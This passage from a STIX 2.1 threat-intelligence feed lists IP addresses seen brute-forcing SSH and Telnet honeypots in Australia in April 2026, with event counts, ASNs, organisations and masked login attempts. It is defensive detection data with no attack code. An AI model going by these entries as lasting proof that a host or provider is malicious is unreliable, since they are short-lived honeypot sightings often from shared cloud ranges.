      "type": "indicator",
      "valid_from": "2026-04-23T05:15:04.000Z",
      "valid_until": "2026-05-25T05:15:02.000Z"
    },
    {
      "created": "2026-04-23T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 48678. Organisation(s): PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi. Usernames observed (masked): r**t, 3**********4, b********e, d****y, f****e. Passwords observed (masked): 3***********4, 3**********4, 5***1, 6****1, 8******..",
      "id": "indicator--3ba212bd-381a-409f-931f-f942406a2a00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.211.130.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:15:04.000Z",
      "valid_until": "2026-05-25T05:15:02.000Z"
    },
    {
      "created": "2026-04-23T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--9e5831b8-e633-4b6c-8577-2912821a0260",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.220.136.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:15:04.000Z",
      "valid_until": "2026-05-25T05:15:02.000Z"
    },
    {
      "created": "2026-04-23T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Heralding. Target ports: 1080. Source country: RU. ASN(s): 49505. Organisation(s): JSC Selectel. Usernames observed (masked): a***********r, a***n, t**t. Passwords observed (masked): 1****6, *, ***, 1*******@, 1*******e.",
      "id": "indicator--afe0fc0e-56c2-4343-ad57-5896ab7f1380",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.143.191.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:15:04.000Z",
      "valid_until": "2026-05-25T05:15:02.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): d*****3.",
      "id": "indicator--8eaa0cdf-95be-4408-ba26-ccdc981a5334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--d70947e1-c453-41a8-bdfa-7ae21e595714",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.164.156.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, u**r, w****r. Passwords observed (masked): 1**4, 1*********d, 2******6, 3***********4, 3**********4.",
      "id": "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.55.144.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--c96bf07f-0bff-44ad-9f6e-9f05368a56f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): o****e. Passwords observed (masked): O******5.",
      "id": "indicator--3069fc36-a982-4233-a016-32b51efc82af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.191.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--e3a1e3d0-8bb1-4e15-91dc-8c83f667fc48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.72.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u. Passwords observed (masked): d******e.",
      "id": "indicator--84418680-f4dc-4a6e-882f-6bc50b336eb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.130.57.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--606a879e-dea8-484b-92b4-07b5aa196ebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.183.72.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc. Usernames observed (masked): u*****3, 3**********4, p*******r, r**t, r****t. Passwords observed (masked): 1*****@, 1**********y, 3***********4, 3**********4, a*******..",
      "id": "indicator--4a08949d-1e49-42db-a12c-a597b2dfcf37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.87.117.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:15:11.000Z",
      "valid_until": "2026-05-25T07:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--f4cfe790-fd06-4b94-b373-294b7b2cc015",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.199.53.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): r**t, f***e, 3**********4, b****x, p*******r. Passwords observed (masked): 1*****!, 1*******A, 3***********4, 3**********4, Q******6.",
      "id": "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.96.13.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--91dd778c-504b-40ef-879a-7883ae2d85fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.157.97.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): p******s, ***, ***, 3**********4, f*****r. Passwords observed (masked): 1****4, 3***********4, 3**********4, D***0, H*******..",
      "id": "indicator--cf9bd265-79a3-4ebc-8474-965067dfc79a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.241.50.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3fa7d3fc-e082-467c-af03-97e772de0660",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.205.201.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: DZ. ASN(s): 327931. Organisation(s): Optimum-Telecom-Algeria.",
      "id": "indicator--1bfd9f12-6083-4f9a-a532-f3d8480ac99d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.220.144.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T08:16:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9147248c-dea9-462d-beac-c8ee1f4dbf68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T08:16:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '48.214.144.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:16:08.000Z",
      "valid_until": "2026-05-25T08:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--5b88f033-0b86-4802-90c8-1dc066a68658",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.3.245.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--15d40072-a458-48e5-bc7b-82c1fda568ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.54.135.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6a242bc9-39a4-4694-b18e-013ca450f023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.141.105.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA. Usernames observed (masked): r**t, u****u, 3**********4, d****y, m***l. Passwords observed (masked): ***, 2***#, 3***********4, 3**********4, F******1.",
      "id": "indicator--5a9e8ad0-f586-4bf9-9690-38e9d4ce78e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.59.86.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4, a*******4, ***, e****y. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1*****F, @********6.",
      "id": "indicator--663acafa-0f2f-4e29-9ebe-8b31c54537ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.205.149.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 34665. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 298. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA. Usernames observed (masked): r**t, 3**********4, a*******4, u****u, a***n. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1*******c, 1******x.",
      "id": "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.142.46.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T09:15:11.000Z",
      "valid_until": "2026-05-25T09:15:08.000Z"
    },
    {
      "created": "2026-04-23T10:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 45. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a****e, g****b, g*****n, h**e, m***o. Passwords observed (masked): *, 1****1, 1****6, a*******3, g****b.",
      "id": "indicator--90ac8af0-7375-4b82-8a0c-ff2c6f1a4f0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T10:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.237.163.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T10:15:18.000Z",
      "valid_until": "2026-05-25T10:15:08.000Z"
    },
    {
      "created": "2026-04-23T10:15:18.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7a03df79-7bb2-40f9-ab7f-434132b8ae6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T10:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.32.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T10:15:18.000Z",
      "valid_until": "2026-05-25T10:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 22, 23. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--7fe6b9a2-7584-4c82-9f59-7d69aeb9c48d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.122.45.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--982862e1-dc32-46b0-bb12-70904ef77f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.244.152.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): p******s. Passwords observed (masked): p*********!.",
      "id": "indicator--c564785b-752a-42ad-8499-4beaf0f7de28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.228.131.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--cfd2ac42-98e2-4ffd-ad63-47c48fd33713",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 51. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): r**t, ***, o****e, t**t, t********r. Passwords observed (masked): 1****6, 1******r, A******Y, Q*********3, R*************@.",
      "id": "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.41.173.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
